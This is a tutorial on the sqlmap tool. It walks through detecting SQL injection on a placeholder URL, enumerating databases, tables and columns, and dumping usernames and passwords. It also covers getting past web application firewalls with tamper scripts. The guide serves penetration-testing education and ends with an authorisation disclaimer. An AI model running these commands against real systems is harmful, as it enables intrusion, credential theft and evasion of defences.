SQLmap Mastery Guide

Automated SQL Injection & Database Takeover

What is SQLmap?

sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

The Step-by-Step Workflow

STEP 1: TARGET IDENTIFICATION & FINGERPRINTING

The first goal is to determine if the target URL is vulnerable and identify the database type (MySQL, PostgreSQL, etc.).

```
sqlmap -u "http://target-site.com/view.php?id=10" --batch --banner
```

- **-u**: Specifies the target URL.
- **--batch**: Never ask for user input, use the default behavior.
- **--banner**: Attempts to retrieve the database version/banner information.

STEP 2: DATABASE ENUMERATION

Once confirmed vulnerable, list all databases accessible to the current database user.

```
sqlmap -u "http://target-site.com/view.php?id=10" --dbs --batch
```

- **--dbs**: Lists all available databases (schemas).

STEP 3: TABLE ENUMERATION

Select a specific database (found in Step 2) and list the tables contained within it.

```
sqlmap -u "http://target-site.com/view.php?id=10" -D app_production --tables
--batch
```

- **-D [DB_NAME]**: Targets the specific database named 'app_production'.
- **--tables**: Lists all tables in that database.

STEP 4: COLUMN ENUMERATION

After identifying an interesting table (e.g., 'users'), view the columns to see what data fields exist.

```
sqlmap -u "http://target-site.com/view.php?id=10" -D app_production -T users
--columns --batch
```

- **-T [TABLE_NAME]**: Targets the specific table named 'users'.
- **--columns**: Lists all columns in that table.

STEP 5: DATA EXTRACTION (DUMPING)

The final step is to download the actual data records from the columns of interest.

```
sqlmap -u "http://target-site.com/view.php?id=10" -D app_production -T users
-C "username,password" --dump --batch
```

- **-C [COL_NAMES]**: Targets specific columns (e.g., username and password).
- **--dump**: Extracts the data and saves it to a local CSV/text file.

Advanced Techniques

Bypassing WAF/Firewalls

If you encounter a Web Application Firewall, use tamper scripts to obfuscate your payloads:

```
sqlmap -u "URL" --tamper=space2comment,between,randomcase --random-agent
```

Using Request Files

For complex POST requests or those requiring cookies, save the raw request from Burp Suite into a file:

```
sqlmap -r request.txt --level 3 --risk 2
```

DISCLAIMER: This guide is for educational and ethical penetration testing purposes only. Accessing or attacking systems without explicit written permission is illegal and unethical. Always perform testing within a controlled lab environment or on systems you own.